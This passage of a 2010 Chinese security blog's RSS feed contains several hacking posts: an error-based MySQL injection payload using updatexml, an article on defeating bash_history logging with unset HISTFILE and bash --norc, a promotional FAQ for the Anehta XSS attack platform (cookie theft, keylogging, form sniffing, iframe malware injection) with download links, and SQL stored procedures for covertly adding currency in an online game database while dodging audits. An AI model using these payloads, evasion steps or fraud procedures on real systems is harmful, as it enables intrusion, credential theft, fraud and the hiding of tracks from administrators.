<p>updatexml(1,CONCAT(0x5c,(SELECT @@VERSION)),1);</p>
<p>比上一种方法方便简洁，不过这方法只能爆出32字节的数据。同样，大数据只能Mid了。</p>
<p>百度一下这两个函数：<br />
EXTRACTVALUE (XML_document, XPath_string);<br />
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc<br />
第二个参数：XPath_string (Xpath格式的字符串)。<br />
作用：从目标XML中返回包含所查询值的字符串<br />
UPDATEXML (XML_document, XPath_string, new_value);<br />
第一个参数：XML_document是String格式，为XML文档对象的名称，文中为Doc<br />
第二个参数：XPath_string (Xpath格式的字符串) ，如果不了解Xpath语法，可以在网上查找教程。<br />
第三个参数：new_value，String格式，替换查找到的符合条件的数据<br />
作用：改变文档中符合条件的节点的值</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/mysql%e9%94%99%e8%af%af%e4%bf%a1%e6%81%af%e7%9a%84%e5%88%a9%e7%94%a8/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacking Bash History</title>
		<link>http://www.0xf3sec.org/hacking-bash-history/</link>
		<comments>http://www.0xf3sec.org/hacking-bash-history/#comments</comments>
		<pubDate>Fri, 31 Dec 2010 17:01:50 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notepad]]></category>
		<category><![CDATA[Hacking Bash History]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=166</guid>
		<description><![CDATA[[==============================================================================] [---------------------------[ Hacking Bash History ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;] [==============================================================================] By: ithilgore &#8211; ithilgore.ryu.L@gmail.com July 2008 &#8212;&#8212;&#8212;&#8212;-[ Table of Contents ]&#8212;&#8212;&#8212;&#8212;- i. Preface ii. Hardening bash_history iii. Attacking the logging mechanism iv. Hacking bash &#8211; interfacing with syslog v. Conclusion vi. References [ i. Preface ] ============== Bash is probably the most widely used shell in the *nix [...]]]></description>
			<content:encoded><![CDATA[<p>[==============================================================================]<br />
[---------------------------[ Hacking Bash History ]&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;]<br />
[==============================================================================]</p>
<p>By: ithilgore &#8211; ithilgore.ryu.L@gmail.com<br />
July 2008</p>
<p>&#8212;&#8212;&#8212;&#8212;-[ Table of Contents ]&#8212;&#8212;&#8212;&#8212;-</p>
<p>i. Preface<br />
ii. Hardening bash_history<br />
iii. Attacking the logging mechanism<br />
iv. Hacking bash &#8211; interfacing with syslog<br />
v. Conclusion<br />
vi. References</p>
<p>[ i. Preface ]<br />
==============</p>
<p>Bash is probably the most widely used shell in the *nix world and one of it&#8217;s<br />
features is the history mechanism. The history mechanism is mainly used for the<br />
user&#8217;s convenience &#8211; less typing -> work done faster. However, it has been<br />
discussed that bash_history can also be used as a logging mechanism to monitor<br />
users&#8217; activity. This article covers the arguments against the above and why the<br />
mechanism is useless against someone who thinks out of the box. We are going<br />
to see that every defensive measure taken for protecting the history file can<br />
be subverted with little or no difficulty. The discussion will be increasive<br />
in the strictness of the methods applied but that doesn&#8217;t meant they will be<br />
increasingly difficult to implement. Most of them are no-brainers. In the end,<br />
we are going to meddle with the bash source code to make the logging mechanism<br />
(at first sight) &#8220;invincible&#8221; and we are going to see why even that can fail.</p>
<p>[ ii. Hardening bash_history ]<br />
==============================</p>
<p>Suppose you are an administrator of a shell-providing box and there is a really<br />
pesky user whose activities you would like to monitor, since you are really<br />
suspicious about what he does late at night with the precious CPU power and<br />
system resources that you have pledged to protect against malicious (or other)<br />
usage. Let&#8217;s call the user Bob &#8211; enough of using Trinity as the &#8220;bad&#8221; one all<br />
the time. Since all users use bash as their default shell in the server, you<br />
start making a few changes to the bash configuration files. </p>
<p>// Step 1 //</p>
<p>&#8211; Make the bash history and relevant files undeletable/unchangeable.</p>
<p>The first thing Bob would probably do would be to symlink his history to<br />
/dev/null.<br />
<span id="more-166"></span><br />
bob$ rm ~/.bash_history<br />
bob$ ln -s /dev/null ~/.bash_history</p>
<p>That can be prevented by making that file append-only. This can be accomplished<br />
by issuing the following command:</p>
<p># chattr +a /home/bob/.bash_history</p>
<p>This will use file system extended attributes to mark the file as append only.<br />
Most filesystems (ext2/3, XFS, JFS) support this. On FreeBSD the same<br />
would be done by issuing:</p>
<p># sappnd /home/bob/.bash_history</p>
<p>You might also want to apply this to all the bash configuration files that<br />
are read during bash startup: </p>
<p># chattr +a /home/bob/.bash_profile<br />
# chattr +a /home/bob/.bash_login<br />
# chattr +a /home/bob/.profile<br />
# chattr +a /home/bob/.bash_logout<br />
# chattr +a /home/bob/.bashrc</p>
<p>The first three are read by bash in that order (after reading /etc/profile<br />
which applies to all users) when an interactive login bash shell (or a<br />
non-interactive shell with the &#8211;login option) is invoked.<br />
.bashrc is only read when a non-login interactive shell is invoked. That means<br />
the case when the user has already logged in and invokes a new bash shell by<br />
himself like: </p>
<p>bob$ bash </p>
<p>Note that .bashrc is the *only* configuration file that is read in this case.<br />
The other 3 conf files are *not* read again.</p>
<p>After doing the above changes, it&#8217;s time to move on to some more &#8220;hardening&#8221;.<br />
One more step towards (futile) protection.</p>
<p>// Step 2 //</p>
<p>&#8211; Configure .bash* configuration files </p>
<p>All changes will be made to .bashrc. It is assumed the other three<br />
configuration files mention reading .bashrc in their body. This means that<br />
.bashrc is read in *every* case (whether the user just logins or invokes a new<br />
bash shell after he has logged in).</p>
<p>By making all changes to .bashrc protects against the case where Bob would<br />
invoke a new bash shell after he had logged in so that all configuration<br />
options would be nullified. If the options were only at the three main<br />
configuration files (.bash_profile, .bash_login, .profile) then the above would<br />
happen. On the other hand, these files must read .bashrc in their body so that<br />
the options mentioned to .bashrc are actually applied in the first login shell<br />
as well.</p>
<p># cat >> /home/bob/.bashrc << EOF<br />
> shopt -s histappend<br />
> readonly PROMPT_COMMAND=&#8221;history -a&#8221;<br />
> EOF</p>
<p>The option histappend orders bash to append the last $HISTSIZE lines to the<br />
$HISTFILE file (normally ~/.bash_history) whenever an interactive shell exits.<br />
By default, bash overwrites $HISTFILE each time so that only one session is<br />
kept to save space.</p>
<p>The enviromental variable PROMPT_COMMAND holds a command that is to be executed<br />
prior to issuing each prompt. This means that &#8220;history -a&#8221; is executed prior<br />
to every command the user issues. This ensures that whatever command was typed<br />
just before the current one, is immediately appended to $HISTFILE. This ensures<br />
more robustness in the logging mechanism, as bash doesn&#8217;t wait until the whole<br />
session is finished to transfer to the disk the history lines from the memory.<br />
The readonly attribute is used so that this variable is marked as non-writeable<br />
in case Bob wants to ovewrite it and most probably nullify it.</p>
<p>One last substep to the above changes would be to mark as readonly all the<br />
environment variables associated with bash_history:</p>
<p>readonly HISTFILE<br />
readonly HISTFILESIZE<br />
readonly HISTSIZE<br />
readonly HISTCMD<br />
readonly HISTCONTROL<br />
readonly HISTIGNORE</p>
<p>// Step 3 //</p>
<p>- Disable all access to all other out of the box shells of the system. Usually,<br />
these will be csh, tcsh and maybe ksh. </p>
<p># chmod 750 csh<br />
# chmod 750 tcsh<br />
# chmod 750 ksh</p>
<p>This will prevent Bob from changing his shell from bash to another one.<br />
Now, the astute administrator will complain that the above are *not*<br />
the only shells out of the box! This is both true and false. But before you jump<br />
to quantum theory conclusions based on the above statement, let&#8217;s clear some<br />
things up.<br />
A long time ago &#8230;(you know the rest), there was only the Bourne shell or sh.<br />
Nowadays, /bin/sh is actually a symbolic link to /bin/bash. Bash checks the<br />
name by which it was invoked and if this is sh, it tries to mimic the behaviour<br />
of the historic versions of sh and also conform to POSIX. If started as an<br />
interactive login shell or non-interactive shell with the &#8211;login option it<br />
attemts to read /etc/profile and ~/.profile for startup configuration. If it is<br />
invoked as an interactive shell, then it tries to expand the variable $ENV and<br />
if it is not empty, uses its value as the configuration file to read and<br />
execute. We shall see in the next section of this text, how this can be used to<br />
override most or all bash settings.</p>
<p>[ iii. Attacking the logging mechanism ]<br />
========================================</p>
<p>It is time to see the whole thing from Bob&#8217;s perspective. We are going to<br />
examine how each of the above steps can be subverted. In practice, the<br />
possibilities are endless. The techniques that will be discussed here are only<br />
a small subset of the available methods to override the bash_history logging<br />
mechanism.</p>
<p>// Method 1 //</p>
<p>&#8211; Use the Bourne shell /bin/sh as an escape mechanism</p>
<p>$ /bin/sh </p>
<p>Invoking sh will result in bash mimicing the historic version of sh and as<br />
mentioned above will not read any configuration files directly related to bash.<br />
Thus, the user will now be able to void the $HISTFILE variable, since it will<br />
no longer be marked as readonly. </p>
<p>$ unset HISTFILE</p>
<p>This will make the logging mechanism inactive for the current session, as the<br />
variable controlling the file where the commands are logged, will be empty.</p>
<p>Note: the same can be done by invoking /bin/rbash (if it exists on the system)<br />
which acts as a restricted version of bash and it is, like sh, a symbolic link<br />
to bash) but it&#8217;s really irritating to move around using it.</p>
<p>// Method 2 //</p>
<p>&#8211; Order bash to not read the .bashrc configuration file</p>
<p>This can be done by invoking bash like this:</p>
<p>$ /bin/bash &#8211;norc</p>
<p>This will inhibit bash from reading .bashrc and thus the variables marked as<br />
readonly will be writeable. Then you can type something like:</p>
<p>$ HISTFILE= </p>
<p>which will clear the $HISTFILE variable -> no history</p>
<p>[ iv. Hacking bash - interfacing with syslog ]<br />
==============================================</p>
<p>We can clearly deduce from the above that any conventional means to secure<br />
the bash_history is actually futile. However, we can go one step ahead and hack<br />
bash itself to make it&#8217;s logging mechanism less vulnerable and more covert.<br />
Note that even this can be subverted. Bash was never meant to act as a logging<br />
facility and is too far away from the kernel to be able to be robust at doing<br />
so even if hacked at its core.</p>
<p>The idea is to alter the bash source code so that every command the user types,<br />
will be sent to syslog which in turn will log it in an file at /var/log. We<br />
will provide a quick and dirty hack to accomplish this &#8211; there will be no<br />
distinction between which user typed which command, although this can also be<br />
done.</p>
<p>The best place to put our interface is the parse.y file which consists of the<br />
yacc grammar for bash. The bash parser is called each time a new command is<br />
issued at the shell prompt. Therefore, placing a syslog hook just before the<br />
parser ends its job, is almost ideal. The only changes that need to be done<br />
are actually two line additions: including syslog.h and making syslog(3) call.<br />
The alterations were made to bash-3.2 source code:</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>[ithilgore@fitz]$diff -E -b -c ~/bash-3.2/parse.y ~/hacked_bash/parse.y</p>
<p>*** ../../bash-3.2/bash-3.2/parse.y Tue Sep 19 13:37:21 2006<br />
&#8212; parse.y Sat Jul 12 18:32:26 2008<br />
***************<br />
*** 19,24 ****<br />
&#8212; 19,25 &#8212;-<br />
Foundation, 59 Temple Place, Suite 330, Boston, MA 02111 USA. */</p>
<p>%{<br />
+ #include<br />
#include &#8220;config.h&#8221;</p>
<p>#include &#8220;bashtypes.h&#8221;<br />
***************<br />
*** 1979,1984 ****<br />
&#8212; 1980,1986 &#8212;-<br />
shell_input_line_len = i; /* == strlen (shell_input_line) */</p>
<p>set_line_mbstate ();<br />
+ syslog(LOG_LOCAL0 | LOG_CRIT, &#8220;%s&#8221;, shell_input_line);</p>
<p>#if defined (HISTORY)<br />
if (remember_on_history &#038;&#038; shell_input_line &#038;&#038; shell_input_line[0])</p>
<p>&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;</p>
<p>The above call generates a log message that will be distributed by syslogd<br />
with a priority of LOG_CRIT to the facility specified as local0. For this<br />
to work, /etc/syslog.conf *must* include a line like the following:</p>
<p>local0.crit /var/log/hist.log</p>
<p>Every command issued by a user using the bash shell will now end up in the<br />
/var/log/hist.log file which will normally be readable only by root.</p>
<p>Note that as mentioned above, the above hack does not differentiate between<br />
each user. More work needs to be done for that. In addition, since every bash<br />
command is logged, expect to see &#8220;garbage&#8221; coming from executed scripts and/or<br />
startup bash configuration files.</p>
<p>The only thing that is left to answer is the question &#8220;How can one escape the<br />
above hack? &#8221; It is fairly simple: </p>
<p>&#8212;-> Compile/transfer and use your own *clean* version of bash (or any other<br />
shell).</p>
<p>Since the hack above depends on using that specific hacked version, it will not<br />
work if you just compile or just transfer a precompiled clean version of bash<br />
for that system.</p>
<p>[ v. Conclusion ]<br />
=================</p>
<p>Bash is a shell, not a logging mechanism and bash_history was only meant to<br />
provide the user with the convenience of less retyping. Literally *every*<br />
method of using it as a monitoring facility, will come to waste. If you are<br />
a serious administrator and really want to monitor your users, make a custom<br />
kernel module that logs every keystroke and then filters everything according<br />
to the userid and/or other parameters. This will be both efficient and really<br />
difficult (but still not impossible) to override.<br />
Alternatively, there are some ready-to-establish audit frameworks for both<br />
Linux and FreeBSD. On FreeBSD, the audit(4) framework, developed by Robert<br />
Watson and the TrustedBSD Project, would be the choice. More info at<br />
http://www.freebsd.org/doc/en_US.ISO8 &#8230; books/handbook/audit.html . On<br />
Linux, the Linux Auditing System developed by Steve Grubb from Redhat<br />
(http://people.redhat.com/sgrubb/audit/) would be the way to go.</p>
<p>[ vi. References ]<br />
==================</p>
<p>a. bash &#038; syslog man pages<br />
b. bash-3.2 source code -http://ftp.gnu.org/gnu/bash/bash-3.2.tar.gz<br />
c. thanks go to<br />
- Michael Iatrou for pointing out a correction<br />
- gorlist for participating in a mini-wargame, set up to test the<br />
subject</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/hacking-bash-history/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anehta! — 新一代的web攻击平台</title>
		<link>http://www.0xf3sec.org/anehta-%e2%80%94-%e6%96%b0%e4%b8%80%e4%bb%a3%e7%9a%84web%e6%94%bb%e5%87%bb%e5%b9%b3%e5%8f%b0/</link>
		<comments>http://www.0xf3sec.org/anehta-%e2%80%94-%e6%96%b0%e4%b8%80%e4%bb%a3%e7%9a%84web%e6%94%bb%e5%87%bb%e5%b9%b3%e5%8f%b0/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 13:35:02 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=163</guid>
		<description><![CDATA[原文地址： http://hi.baidu.com/aullik5/blog/item/203809540b611ac2b745aeee.html 两个礼拜了，从一开始的激动不已，到现在更加激动不已。 有很多想说，又不知从何说起。那么，还是采取FAQ的形式来向大家介绍吧！ Q： 为什么叫：Anehta ? A： 因为“雅典娜”的名字是 ：athena ，但是这个名字已经被sourceforge上的某人抢了，所以按照“刺氏命名法”，把“athena”反过来，本项目正式命名为： Anehta，中文发音：“阿内塔” Q： Anehta 项目是做什么的？ A： 简单来说，你可以理解为 AttackAPI + BeEF。 但是Anehta 绝对没有这么简单，因为我实现了很多特有的机制，使得Anehta更加强大以及更加容易扩展。 Q： 没听过什么AttackAPI，还是不知道Anehta是做什么。 A： 更通俗来说，Anehta 就是一个跨站脚本攻击（XSS）的利用平台。 Q：Anehta是用什么语言开发的，对系统有什么要求？ A：由于在一开始就考虑到了通用性、跨平台性、跨浏览器、稳定性、易扩展性，所以Anehta在这方面做的是非常好的。anehta是基于javascript 和 PHP开发的。其中部分用到了 jQuery 框架，虽然anehta 可以独立于jQuery存在，但是考虑到引入jQuery 后，可以大大降低开发模块的成本，所以还是保留了。使用jQuery的另外一个好处就是跨浏览器，因为jQuery 本身是跨浏览器的，所以anehta也很容易做到这点. 使用PHP是因为PHP是当今使用最为广泛的脚本语言之一。(其实有个很不可告人的原因是因为大部分肉鸡都是PHP的吧，嘿嘿，anehta不需要任何perl、python、ruby等脚本支持) Q：Anehta的架构是什么样的？ A：首先，我使用javascript 实现了一套JS框架，这套框架封装了很多函数和类，是专门用于攻击的一套JS框架。使用这套框架可以非常轻松的开发出威力强大的脚本。这套框架网站开发者也可以使用，可以获得很多强大的功能。 其次，基于这套框架，我开发了许多模块，比如本项目特有的“回旋镖模块”，可以跨域偷取cookie；再比如一个完美的JS键盘记录器等，还有很多功能，我会陆续补充好文档。 再次，anehta拥有非常清晰的结构，XSS后只需要加载一个feed.js，就会自动完成所有工作了。 最后，anehta不是纯客户端的，除了核心的JS攻击框架外，在服务端还利用PHP做了许多处理。 Q：Anehta具有什么特色和优点？ A：Anehta 结构清晰，功能是模块化，开发者可以单独为anehta开发各种各样的模块，以满足独特的需求。 模块之间具有低耦合性，互不影响。同时anehta的模块互相之间可以通信。 此外anetha还实现了很多独特、方便的技术。比如hook模块中，实现了可以hook任意js函数的方法。此外利用flash shared objects实现的水印技术也非常独特，即便用户删除了cookie，从IE切换到了Firefox或是Opera，也照样能够识别出是本人. 而回旋镖模块更是能够将反射型的XSS变成持久型的XSS，实时命令模块等都属于基本功能了。不久后我会补全anehta的文档，包括所有API的使用说明。 Anehta 的另一个特色就是会集成flash、java、css等多种hacking技术于一体，虽然目前还只实现了一小部分，但是我会慢慢把他们都做完。 此外，由于服务端的存在，所以Anehta 是一个平台(Platform)，而并非一个框架(framework)。服务端设计还存在很大的开发潜力。 [...]]]></description>
			<content:encoded><![CDATA[<p>原文地址：</p>
<p>http://hi.baidu.com/aullik5/blog/item/203809540b611ac2b745aeee.html</p>
<p>两个礼拜了，从一开始的激动不已，到现在更加激动不已。<br />
有很多想说，又不知从何说起。那么，还是采取FAQ的形式来向大家介绍吧！</p>
<p>Q： 为什么叫：Anehta ?<br />
A： 因为“雅典娜”的名字是 ：athena ，但是这个名字已经被sourceforge上的某人抢了，所以按照“刺氏命名法”，把“athena”反过来，本项目正式命名为： Anehta，中文发音：“阿内塔”</p>
<p>Q： Anehta 项目是做什么的？<br />
A： 简单来说，你可以理解为 AttackAPI + BeEF。 但是Anehta 绝对没有这么简单，因为我实现了很多特有的机制，使得Anehta更加强大以及更加容易扩展。</p>
<p>Q： 没听过什么AttackAPI，还是不知道Anehta是做什么。<br />
A： 更通俗来说，Anehta 就是一个跨站脚本攻击（XSS）的利用平台。</p>
<p>Q：Anehta是用什么语言开发的，对系统有什么要求？<br />
A：由于在一开始就考虑到了通用性、跨平台性、跨浏览器、稳定性、易扩展性，所以Anehta在这方面做的是非常好的。anehta是基于javascript 和 PHP开发的。其中部分用到了 jQuery 框架，虽然anehta 可以独立于jQuery存在，但是考虑到引入jQuery 后，可以大大降低开发模块的成本，所以还是保留了。使用jQuery的另外一个好处就是跨浏览器，因为jQuery 本身是跨浏览器的，所以anehta也很容易做到这点.</p>
<p>使用PHP是因为PHP是当今使用最为广泛的脚本语言之一。(其实有个很不可告人的原因是因为大部分肉鸡都是PHP的吧，嘿嘿，anehta不需要任何perl、python、ruby等脚本支持)</p>
<p>Q：Anehta的架构是什么样的？<br />
A：首先，我使用javascript 实现了一套JS框架，这套框架封装了很多函数和类，是专门用于攻击的一套JS框架。使用这套框架可以非常轻松的开发出威力强大的脚本。这套框架网站开发者也可以使用，可以获得很多强大的功能。</p>
<p>其次，基于这套框架，我开发了许多模块，比如本项目特有的“回旋镖模块”，可以跨域偷取cookie；再比如一个完美的JS键盘记录器等，还有很多功能，我会陆续补充好文档。</p>
<p>再次，anehta拥有非常清晰的结构，XSS后只需要加载一个feed.js，就会自动完成所有工作了。</p>
<p>最后，anehta不是纯客户端的，除了核心的JS攻击框架外，在服务端还利用PHP做了许多处理。</p>
<p>Q：Anehta具有什么特色和优点？<br />
A：Anehta 结构清晰，功能是模块化，开发者可以单独为anehta开发各种各样的模块，以满足独特的需求。<br />
模块之间具有低耦合性，互不影响。同时anehta的模块互相之间可以通信。</p>
<p>此外anetha还实现了很多独特、方便的技术。比如hook模块中，实现了可以hook任意js函数的方法。此外利用flash shared objects实现的水印技术也非常独特，即便用户删除了cookie，从IE切换到了Firefox或是Opera，也照样能够识别出是本人. 而回旋镖模块更是能够将反射型的XSS变成持久型的XSS，实时命令模块等都属于基本功能了。不久后我会补全anehta的文档，包括所有API的使用说明。</p>
<p>Anehta 的另一个特色就是会集成flash、java、css等多种hacking技术于一体，虽然目前还只实现了一小部分，但是我会慢慢把他们都做完。</p>
<p>此外，由于服务端的存在，所以Anehta 是一个平台(Platform)，而并非一个框架(framework)。服务端设计还存在很大的开发潜力。<br />
<span id="more-163"></span><br />
Q：为什么要做这样一个项目？<br />
A：可以说是心血来潮，也可以说是游戏之作，但是Anehta确实倾注了我的大量心血。从一开始我就总结了很多需求，思考了很多设计上的东西，所以anehta拥有非常好的架构和可扩展性。我的目的是将anehta做成一个集web攻击大成者的平台，所以anehta会涉及到那么多乱七八糟的技术。</p>
<p>出于精简的目的，我舍弃了很多用处不大的功能，但是anehta还将扩展更多强大和实用的功能。在我看来，anehta的js框架部分已经比attackAPI要好了，功能部分更是远远超过了BeEF和XSS Shell！</p>
<p>Q：Anehta针对哪些用户？<br />
A：本项目是为安全工程师进行渗透测试以及演示脚本漏洞的危害而设计，请勿用作非法用途！本项目遵循GPLv3条款，属于开源项目，任何人可以自由复制、使用或修改本代码，本人概不承担法律责任!</p>
<p>Q：Anehta实现了哪些功能？<br />
A：以下是已经实现的功能列表：<br />
* 获取客户端基本信息(浏览器版本/OS version/客户端IP/代理IP/Referer/Request URI);<br />
* Ajax库支持<br />
* 窃取客户端Cookie<br />
* 跨域窃取Cookie（比如我在淘宝上窃取百度的cookie）<br />
* 灵活的XSRF模块<br />
* 客户端DDOS攻击（发起大量请求，CC）<br />
* hook表单提交（Form Sniffer 功能）<br />
* hook 任意javascript 函数；注入任意javascript函数<br />
* 一个优秀的Javascript Keylogger;<br />
* 支持数据加密传输(出于性能考虑，目前暂时使用base64)<br />
* 注入iframe模块（可以实施挂马）<br />
* 模块之间互相通信<br />
* 独特的客户端水印，使得删除cookie、切换浏览器也能识别到用户<br />
* logger虚拟守护进程（定时检查所有模块的输出，并记录到服务器）<br />
窃取剪贴板的内容（仅仅支持IE）<br />
* 客户端地理位置查询<br />
* 在线的web代理，支持自定义cookie访问站点（第三方实现）<br />
* 实时命令模块<br />
* 扫描浏览器的历史记录<br />
一个基于JS的端口扫描器<br />
* 获取客户端软件信息（比如是否安装了QQ、迅雷等）<br />
* 邮件通知模块</p>
<p>Q：Anehta未来会怎么发展？<br />
A：我会持续开发和扩展Anehta，在不久的未来会完善英文文档并对外正式发布。目前计划里的蓝图如下：<br />
Client-Side：<br />
* GIFAR支持<br />
ClickJacking/XSIO支持<br />
XSS Worm Module<br />
获取显示器分辨率<br />
钓鱼模块（可以欺骗用户从而获取密码等）<br />
获取客户端真实IP<br />
* 更加强大的扫描模块<br />
JS压缩、变形（让anehta更小巧）<br />
Cross Site Sql Injection 模块（对注射的支持）<br />
* 客户端代理模块（直接利用客户端访问网站，这在攻击内部系统时很有用）<br />
* 检查IM或者网站的登录状态<br />
* 更多的子窗口控制功能<br />
* 调用activex的一些方法<br />
* pipeline（管道功能，具体作用暂且保密）<br />
* 验证码的支持<br />
将大量功能集成到flash和java中<br />
Heap Spray 、 Heap Fengshui 模块，帮助更方便写客户端exploit<br />
升级和传播模块<br />
支持加载第三方攻击库，比如attackAPI<br />
新技术的支持（HTML5,AS3,CSS3等）<br />
……</p>
<p>Server-Side:<br />
* 通过IM自动通知Master<br />
* 通过手机短信自动通知Master<br />
客户端session保持以及session fixation支持<br />
* 良好的多主机管理以及更加友好的界面<br />
feed.js 生成器<br />
* 数据库支持(Mysql 或 sqlite);<br />
更加友好的log输出</p>
<p>Both Client and Server:<br />
* 窃取客户端文件(Ajax Upload)</p>
<p>Anehta还有一些bug和不足，先不列到这里了，我会持续改进，此外由于我对UI和美化一窍不通，所以目前界面还很丑，将就着用吧！</p>
<p>哪位朋友有心也可以帮我写写UI。</p>
<p>最后，啰嗦了这么多，是不是等不及了呢？<br />
那么，要看演示的，可以到这里下载录像：</p>
<p>http://www.secwiki.com/anehta/demo/anehtaDEMO.zip</p>
<p>也可以在线观看，不过文件比较大，有20多M</p>
<p>http://www.secwiki.com/anehta/demo/anehta.html</p>
<p>想体验一下？ 到这里访问demo页面：<br />
http://www.secwiki.com/anehta/demo.html DEMO页面是一个被XSS的页面</p>
<p>粗陋的后台是在：<br />
http://www.secwiki.com/anehta/admin.php 在这里可以看到被XSS后的结果。</p>
<p>请参考我制作的录像</p>
<p>FF的用户请关闭noscript扩展，拦截了就没得玩了撒</p>
<p>项目首页：</p>
<p>http://anehta.googlecode.com</p>
<p>源代码获取：</p>
<p>http://code.google.com/p/anehta/source/checkout</p>
<p>打包下载：(下次地址变更了，有个文件忘记打包了)</p>
<p>http://anehta.googlecode.com/files/anehta-v0.5.5fixed.zip</p>
<p>镜像：http://www.nukeblog.cn/anehta/anehta-v0.5.5fixed.zip</p>
<p>不包含QQWry.dat 的版本：(314k，需要有QQWray.dat才能正常运行)</p>
<p>http://anehta.googlecode.com/files/anehta-v0.5.5_fixed_withoutQQWry.zip</p>
<p>QQWry单独下载：(4M, 下载后放到anehta根目录)</p>
<p>http://anehta.googlecode.com/files/QQWry.zip</p>
<p>-EOF-</p>
<p>不过遗憾的是，大风的anehta停止更新了，因为中国的法律不允许，以后要跟新也是写给自己看了，纯粹好玩。<br />
大风：此外由于刑法的修正案，关闭了 anehta 项目，也请之前下载过的朋友不要用来做坏事</p>
<p>admin:希望有能力和经验继续改进Anehta平台的广大安全爱好者与我们联系，共同遵循GPLv3条款改进。</p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/anehta-%e2%80%94-%e6%96%b0%e4%b8%80%e4%bb%a3%e7%9a%84web%e6%94%bb%e5%87%bb%e5%b9%b3%e5%8f%b0/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Update記錄</title>
		<link>http://www.0xf3sec.org/update%e8%a8%98%e9%8c%84/</link>
		<comments>http://www.0xf3sec.org/update%e8%a8%98%e9%8c%84/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 13:20:21 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Notepad]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=156</guid>
		<description><![CDATA[1. select dbo.DoAlzXor(999) //999代表要刷的钱 返回一个负数.-5108668643680970581 2. 使用存储过程,避过太过于明显的审计.//注意他后面会不会加入我们这个存储过程,因为取名太象了. CREATE PROCEDURE cabal_tool_character_ex( @characteridx int,@LEV int,@Alz bigint , @encrypted bigint) AS BEGIN BEGIN TRAN BEGIN UPDATE cabal_character_table SET LEV= @LEV, SET Alz = @Alz, Reserved1 = @encrypted where characteridx = @characteridx END COMMIT TRAN END GO 3.确定要刷用户的信息 SELECT * FROM cabal_character_table WHERE CharacterIdx= 751576 4. 调用存储过程 exec cabal_tool_character_ex [...]]]></description>
			<content:encoded><![CDATA[<p>1.<br />
select dbo.DoAlzXor(999)   //999代表要刷的钱<br />
返回一个负数.-5108668643680970581</p>
<p>2.<br />
使用存储过程,避过太过于明显的审计.//注意他后面会不会加入我们这个存储过程,因为取名太象了.<br />
CREATE    PROCEDURE cabal_tool_character_ex( @characteridx int,@LEV int,@Alz bigint , @encrypted bigint)<br />
AS<br />
BEGIN<br />
BEGIN TRAN<br />
BEGIN<br />
UPDATE cabal_character_table<br />
                SET LEV= @LEV,<br />
SET Alz = @Alz,<br />
        Reserved1 = @encrypted<br />
where characteridx = @characteridx<br />
END<br />
COMMIT TRAN<br />
END<br />
GO</p>
<p>3.确定要刷用户的信息</p>
<p>SELECT     * FROM         cabal_character_table WHERE     CharacterIdx= 751576<br />
4.<br />
调用存储过程<br />
exec cabal_tool_character_ex 751576,100,200000,-5108668643680970581<br />
//用户id,金钱值,Reserved1值<br />
5. drop PROCEDURE cabal_tool_character_ex</p>
<p>其他办法：</p>
<p>CREATE PROC cabal_guild_event_log<br />
             @UserNums int,<br />
             @mon bigint<br />
as<br />
   DECLARE @reserv bigint<br />
   DELETE from cabal_warehouse_table WHERE UserNum = @UserNums<br />
   INSERT cabal_warehouse_table (UserNum, Data, Reserved1) VALUES ( @UserNums, 0x, DBO.DoAlzXor(@mon))<br />
   set  @reserv = (select reserved1 from dbo.cabal_warehouse_table where usernum = @UserNums)<br />
   exec  cabal_tool_SetWarehouseAlz @UserNums, @mon, @reserv<br />
GO<br />
__________________<br />
DECLARE @RC int<br />
DECLARE @characteridx int<br />
DECLARE @Alz bigint<br />
DECLARE @encrypted bigint<br />
SELECT @characteridx = 704784<br />
SELECT @Alz = 999<br />
SELECT @encrypted = -5108668643680970581<br />
EXEC @RC = [SERVER01].[dbo].[cabal_tool_character_ex] @characteridx, @Alz, @encrypted<br />
DECLARE @PrnLine nvarchar(4000)<br />
PRINT &#8216;Stored Procedure: SERVER01.dbo.cabal_tool_character_ex&#8217;<br />
SELECT @PrnLine = &#8216; Return Code = &#8216; + CONVERT(nvarchar, @RC)<br />
PRINT @PrnLine </p>
]]></content:encoded>
			<wfw:commentRss>http://www.0xf3sec.org/update%e8%a8%98%e9%8c%84/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>PHP扫FTP\MYSQL\MSSQL\SSH密码的脚本</title>
		<link>http://www.0xf3sec.org/php%e6%89%abftpmysqlmssqlssh%e5%af%86%e7%a0%81%e7%9a%84%e8%84%9a%e6%9c%ac/</link>
		<comments>http://www.0xf3sec.org/php%e6%89%abftpmysqlmssqlssh%e5%af%86%e7%a0%81%e7%9a%84%e8%84%9a%e6%9c%ac/#comments</comments>
		<pubDate>Wed, 29 Dec 2010 13:17:19 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[工具代码]]></category>

		<guid isPermaLink="false">http://www.0xf3sec.org/?p=151</guid>
